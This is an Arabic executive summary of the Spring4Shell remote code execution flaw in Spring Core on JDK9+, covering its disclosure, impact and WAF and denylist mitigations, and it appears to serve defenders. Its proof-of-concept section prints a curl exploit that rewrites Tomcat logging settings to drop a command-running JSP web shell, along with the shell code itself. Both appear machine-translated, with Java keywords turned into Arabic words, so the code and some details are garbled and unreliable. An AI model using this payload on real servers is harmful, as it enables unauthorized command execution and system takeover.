سبرينج فور شيل - ملخص تنفيذي

• ظهرت ثغرة أمنية حرجة جديدة في يوم الصفر في إطار Spring الشهير لجافا في دائرة الضوء عندما تم نشر استغلالها لأول مرة من قبل الباحث الأمني الصيني «heige» على تويتر (@80vul).
• تم التأكيد لاحقًا على أن التجاوز الذي تم إصداره لثغرة أمنية قديمة، CVE-2010-1622، يؤثر على Spring Core على JDK9+ مما يسمح للمهاجم بتنفيذ التعليمات البرمجية عن بُعد على الأنظمة الضعيفة.
• في وقت سابق، لوحظ سيناريو هجوم مماثل عندما تم استغلال خوادم Log4j على نطاق واسع في ديسمبر 2021، لشن هجمات رانسوم وير واسعة النطاق.

التحليل

معلومات من OSINT

يتم سرد المنشورات المختلفة المتعلقة بالاستغلال الذي تم إصداره لـ Spring4Shell على النحو التالي:

• PoC الذي تم تسريبه بواسطة»helloexp«والتي يبدو أنها تسمح للمهاجمين غير المصادق عليهم بتنفيذ التعليمات البرمجية على الأنظمة المستهدفة، تم حذفها لاحقًا.

إثبات المفهوم (الاستغلال)

curl -v -d «class.module.classloader.resources.context.parent.pailine .first.pattern=% 25% 7Bc 2% di%20 إذا (%22j%22) يساوي (%22pwd%22))) %7b%20 java.io.تدفق المدخلات %20 في% 20% 3D% 20% 25% 7Bc 17% DI.get وقت إعادة التشغيل () .exec (طلب. احصل على المعلمة (%22 سم md%22)). احصل على تيار الإدخال () %3b%20int% 20a% 20% 3D% 20-1% 3B%20 بايت %5b %20b %20 جديد %20 بايت %5b 2048% 5D %3B%20 بينما (A%3din.read (b)) 3D-1) %7b%20 الإخراج. printLN (سلسلة %20 جديدة (ب)) %3B% 20% 7 D% 20% 7D% 20% 25% لاحقة 7B %7DI وclass.module.classloader.resources. Context. parent.pipeline. first.suffix=.jsp&class.module.classloader.resources. context.parent.pipeline.first.Directory=تطبيقات الويب/root&class.module.cl assloader.resources.context.parent.pipeline. first.pirex=Tomcatwar & CL. resources.context.parent.pipeline. first.filedat eFormat=» http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1 - Snapshot/rapid7

تقوم هذه الحمولة بإسقاط غلاف ويب محمي بكلمة مرور في دليل Tomcat Root يسمى tomcatwar.jsp

- إذا كان («j» .يساوي (request.getParameter («pwd»)) {java.io.inputStream in = -.getRunTime () .exec (request.getParameter («cmd»)) .getInputStream ()؛ int a = -1؛ البايت [] b = البايت الجديد [2048]؛ بينما ((a=in.read (b)) 3D-1) {out. printll n (سلسلة جديدة (ب))؛}} -

تعمل هذه الحمولة الخاصة بخادم Tomcat على تغيير خصائص تسجيل خادم Tomcat عبر ClassLoader. تقوم الحمولة ببساطة بإعادة توجيه منطق التسجيل إلى دليل ROOT وإسقاط حمولة الملف +.

سبرينج فور شيل - التأثير: من وماذا

المستخدمون الذين يقومون بتشغيل الإصدار 9 من JDK والإصدارات الأحدث معرضون لهجوم RCE. أيضًا، يُقال إن جميع إصدارات Spring Core قد تأثرت.

في الوقت الحالي، لا يوجد تصحيح رسمي من الربيع. ومن ثم يمكن للجهات الفاعلة في مجال التهديد الاستفادة من هذه الثغرة الأمنية في الأداء تنفيذ التعليمات البرمجية عن بُعد غير المصرح به. نظرًا لسهولة الاستغلال، قد تقوم الجهات الفاعلة المهددة بأنشطة استغلال واسعة النطاق على غرار لوغ4j. يمكن للمهاجمين استغلال الثغرة الأمنية لتنفيذ هجمات البرامج الضارة أو برامج الفدية على المؤسسة

التخفيف

في Spring Framework، يحتوي DataBinder على وظيفة عدم السماح بأنماط معينة. كتخفيف مؤقت لهذه الثغرة الأمنية، فإن نصيحة وحدة التحكم يمكن إنشاء المكون (وهو مكون Spring مشترك عبر وحدات التحكم) ويمكن إضافة أنماط خطيرة إلى denylist.

على أجهزة حماية الشبكة مثل WAF، قم بتطبيق تصفية القواعد لسلاسل مثل «class.*» و «Class.*» و «*.class.*» و «*.Class.*» وفقًا لحالة حركة المرور الفعلية للخدمات المنشورة. هذا لأن «Spring4Shell» يستفيد من الحقن في الفئة (شديد جدًا)

أخيرًا، يجب على المرء أن يظل على اطلاع دائم بأحدث إصدار من التصحيحات الرسمية من Spring وإصلاح الثغرات الأمنية وفقًا لهذه التصحيحات.

المراجع

• SpringShell: ثغرة أمنية لمدة 10 أيام في Spring Core RCE - سايبر كيندرا
• خطأ RCE لمدة 0 يوم في إطار Java Spring غير المصحح يهدد أمان تطبيقات الويب الخاصة بالمؤسسات
• Spring4Shell: ثغرة يوم الصفر في إطار الربيع | مدونة Rapid7
• Spring Core على JDK9+ عرضة لتنفيذ التعليمات البرمجية عن بُعد - Praetorian
• https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/